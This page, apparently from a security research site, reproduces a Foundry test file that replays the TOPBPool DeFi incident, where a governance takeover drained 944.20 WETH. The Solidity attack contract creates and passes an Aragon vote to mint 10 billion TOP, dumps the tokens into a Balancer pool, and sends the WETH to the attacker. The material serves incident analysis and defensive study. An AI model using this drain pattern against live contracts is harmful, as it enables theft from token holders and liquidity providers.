Skip to content
THREATWIRE

Public reproduction file

src/test/2026-06/TOPBPool_exp.sol

Public reproduction file for dataset entry TOPBPool.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-06/TOPBPool_exp.sol142 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5
6// @KeyInfo - Total Lost : 944.20 WETH
7// Attacker : 0xff8ef7bc455a57e5893232203052ce0232b39fa2
8// Attack Contract : 0x25c68c44a96518294f5b47d758f98309c6729a21
9// Vulnerable Contract : 0xb935c3d80229d5d92f3761b17cd81dc2610e3a45
10// Attack Tx : https://etherscan.io/tx/0x967aa34c69b7775c718545c7f94d92e965eb5fc553c0f27f6f1a9c65c93ac156
12// @Info
13// Voting Entry Proxy : https://etherscan.io/address/0xb501d26ba74eab601576b62617cf41042bef6865#code
14// Voting Implementation : https://etherscan.io/address/0xb935c3d80229d5d92f3761b17cd81dc2610e3a45#code
15// TokenManager Entry Proxy : https://etherscan.io/address/0x3ac1856376c25a7aebbad1c2a10db63b5dbb7306#code
16// TokenManager Implementation : https://etherscan.io/address/0xde3a93028f2283cc28756b3674bd657eafb992f4#code
17// Balancer BPool : https://etherscan.io/address/0x0fa3e014fa2e751f78e53dca766fac2223327329#code
19// @Analysis
20// Twitter Guy : https://x.com/DefimonAlerts/status/2064616112822583505
21//
22// The historical attack contract held 8,192.000001 TOP against a 16,384 TOP snapshot supply.
23// It created an Aragon vote to mint 10 billion TOP to itself, voted the proposal through in the same
24// transaction, then sold the newly minted TOP into the Balancer BPool for WETH.
26address constant ATTACKER = 0xff8eF7bC455a57e5893232203052Ce0232b39Fa2;
27address constant ATTACK_CONTRACT = 0x25c68C44A96518294f5B47D758f98309c6729A21;
28address constant TOP = 0x0EBD5eC91680d3B0CEDbb1d5BB61851154D3eDb6;
29address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
30address constant BPOOL = 0x0fa3E014fA2E751F78e53Dca766faC2223327329;
31address constant TOKEN_MANAGER = 0x3ac1856376C25A7AeBBAd1C2A10db63b5dbB7306;
32address constant VOTING = 0xB501d26BA74eaB601576B62617Cf41042bEf6865;
34interface IERC20Like {
35 function balanceOf(address account) external view returns (uint256);
36 function approve(address spender, uint256 amount) external returns (bool);
37 function transfer(address to, uint256 amount) external returns (bool);
40interface ITokenManager {
41 function forward(bytes calldata evmCallScript) external;
42 function mint(address receiver, uint256 amount) external;
45interface IVoting {
46 function newVote(
47 bytes calldata executionScript,
48 string calldata metadata,
49 bool castVote,
50 bool executesIfDecided
51 ) external returns (uint256 voteId);
52 function vote(uint256 voteId, bool voteSupports, bool executesIfDecided) external;
53 function votesLength() external view returns (uint256);
56interface IBPool {
57 function getBalance(address token) external view returns (uint256);
58 function swapExactAmountIn(
59 address tokenIn,
60 uint256 tokenAmountIn,
61 address tokenOut,
62 uint256 minAmountOut,
63 uint256 maxPrice
64 ) external returns (uint256 tokenAmountOut, uint256 spotPriceAfter);
67contract ContractTest is BaseTestWithBalanceLog {
68 function setUp() public {
69 uint256 forkBlock = 25_279_891;
70 vm.createSelectFork("mainnet", forkBlock);
71 vm.roll(forkBlock + 1);
72 fundingToken = WETH;
73 vm.label(ATTACKER, "Attacker");
74 vm.label(ATTACK_CONTRACT, "Attack Contract");
75 vm.label(TOP, "TOP");
76 vm.label(WETH, "WETH");
77 vm.label(BPOOL, "Balancer TOP/WETH BPool");
78 vm.label(TOKEN_MANAGER, "TOP TokenManager Proxy");
79 vm.label(VOTING, "TOP Voting Proxy");
80 }
82 function testExploit() public {
83 uint256 attackerWethBefore = IERC20Like(WETH).balanceOf(ATTACKER);
84 uint256 poolWethBefore = IERC20Like(WETH).balanceOf(BPOOL);
86 vm.etch(ATTACK_CONTRACT, type(TopBPoolDrain).runtimeCode);
88 vm.prank(ATTACKER);
89 TopBPoolDrain(ATTACK_CONTRACT).drain();
91 uint256 attackerWethAfter = IERC20Like(WETH).balanceOf(ATTACKER);
92 uint256 poolWethAfter = IERC20Like(WETH).balanceOf(BPOOL);
93 uint256 attackerProfit = attackerWethAfter - attackerWethBefore;
95 emit log_named_decimal_uint("Attacker WETH profit", attackerProfit, 18);
96 emit log_named_decimal_uint("BPool WETH before", poolWethBefore, 18);
97 emit log_named_decimal_uint("BPool WETH after", poolWethAfter, 18);
99 assertGt(attackerProfit, poolWethBefore, "attacker did not receive drained WETH");
100 assertLt(poolWethAfter, poolWethBefore / 1_000_000_000, "BPool WETH was not drained to dust");
101 }
104contract TopBPoolDrain {
105 function drain() external {
106 // step 1: create an Aragon vote whose execution script mints TOP to this historical address.
107 uint256 voteId = IVoting(VOTING).votesLength();
108 ITokenManager(TOKEN_MANAGER).forward(buildNewMintVoteScript());
110 // step 2: use the historical address's pre-attack TOP snapshot balance to pass and execute it.
111 IVoting(VOTING).vote(voteId, true, true);
113 // step 3: sell the minted TOP into the Balancer pool at the maximum allowed in-ratio each round.
114 IERC20Like(TOP).approve(BPOOL, type(uint256).max);
115 while (IERC20Like(TOP).balanceOf(address(this)) > 0) {
116 uint256 topBalance = IERC20Like(TOP).balanceOf(address(this));
117 uint256 amountIn = IBPool(BPOOL).getBalance(TOP) / 2;
118 if (amountIn > topBalance) amountIn = topBalance;
120 IBPool(BPOOL).swapExactAmountIn(TOP, amountIn, WETH, 0, type(uint256).max);
121 require(IERC20Like(TOP).balanceOf(address(this)) < topBalance, "TOP balance did not decrease");
122 }
124 // step 4: forward the drained WETH plus the contract's pre-existing WETH dust to the tx sender.
125 uint256 wethBalance = IERC20Like(WETH).balanceOf(address(this));
126 IERC20Like(WETH).transfer(ATTACKER, wethBalance);
127 }
129 function buildNewMintVoteScript() private view returns (bytes memory) {
130 uint256 mintAmount = 10_000_000_000 ether;
131 bytes memory mintCall = abi.encodeWithSelector(ITokenManager.mint.selector, address(this), mintAmount);
132 bytes memory mintScript = buildEvmCallScript(TOKEN_MANAGER, mintCall);
134 bytes memory newVoteCall =
135 abi.encodeWithSelector(IVoting.newVote.selector, mintScript, "single-contract drain", false, false);
136 return buildEvmCallScript(VOTING, newVoteCall);
137 }
139 function buildEvmCallScript(address target, bytes memory callData) private pure returns (bytes memory) {
140 return abi.encodePacked(uint32(1), target, uint32(callData.length), callData);
141 }

Analysis

Dataset entry

Public Foundry test for “TOPBPool” (2026-06-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xff8ef7bc455a57e5893232203052ce0232b39fa2

  • Attack Contract

    0x25c68c44a96518294f5b47d758f98309c6729a21

  • Vulnerable Contract

    0xb935c3d80229d5d92f3761b17cd81dc2610e3a45

  • Attack Tx

    0x967aa34c69b7775c718545c7f94d92e965eb5fc553c0f27f6f1a9c65c93ac156

File record

Name
TOPBPool
Path
src/test/2026-06/TOPBPool_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1c562821ca0f1e1adc637085032d909281129621
Language
Solidity
Size
143 lines
Date
2026-06-09
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-06/TOPBPool_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1c562821ca0f1e1adc637085032d909281129621, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.